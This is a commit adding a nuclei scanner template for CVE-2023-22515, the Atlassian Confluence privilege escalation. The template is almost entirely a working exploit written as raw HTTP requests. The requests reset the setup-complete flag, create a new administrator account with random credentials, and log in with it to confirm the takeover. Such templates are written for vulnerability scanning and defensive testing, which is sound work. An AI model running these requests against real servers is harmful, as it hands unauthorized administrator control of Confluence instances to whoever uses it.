Added CVE-2023-22515

projectdiscovery · Oct 10, 2023 · 0471ab3 · 0471ab3
1 parent c8a031c
commit 0471ab3
Showing 1 changed file with 75 additions and 0 deletions.
diff --git a/http/cves/2023/CVE-2023-22515.yaml b/http/cves/2023/CVE-2023-22515.yaml
@@ -0,0 +1,75 @@
+id: CVE-2023-22515
+
+info:
+  name: Atlassian Confluence - Privilege Escalation
+  author: s1r1us,iamnoooob,rootxharsh,pdresearch
+  severity: critical
+  description: |
+    Atlassian Confluence Data Center and Server contains a privilege escalation vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.
+  remediation: |
+    Update to the latest version of Confluence
+  reference:
+    - https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
+    - https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
+    - https://confluence.atlassian.com/kb/faq-for-cve-2023-22515-1295682188.html
+    - https://jira.atlassian.com/browse/CONFSERVER-92475
+    - https://www.cisa.gov/news-events/alerts/2023/10/05/cisa-adds-three-known-exploited-vulnerabilities-catalog
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10
+    cve-id: CVE-2023-22515
+    epss-score: 0.00126
+    epss-percentile: 0.46728
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: app="ATLASSIAN-Confluence"
+  tags: cve,cve2023,confluence,auth-bypass,kev,intrusive
+
+http:
+  - raw:
+      - |
+        GET /setup/setupadministrator-start.action HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+      - |
+        GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+      - |
+        GET /setup/setupadministrator-start.action HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+      - |
+        @timeout:20s
+        POST /setup/setupadministrator.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        X-Atlassian-Token: no-check
+
+        username={{to_lower(username)}}&fullName=admin&email={{randstr_3}}%40{{randstr_4}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next
+      - |
+        POST /dologin.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        X-Atlassian-Token: no-check
+
+        os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action
+
+    cookie-reuse: true
+    attack: pitchfork
+    payloads:
+      username:
+        - "{{randstr_1}}"
+      password:
+        - "{{randstr_2}}"
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body_1, 'Setup is already complete')
+          - contains(body_3, 'Please configure the system administrator account for this Confluence installation')
+          - contains(location_5, '/index.action')
+          - status_code_5 == 302
+        condition: and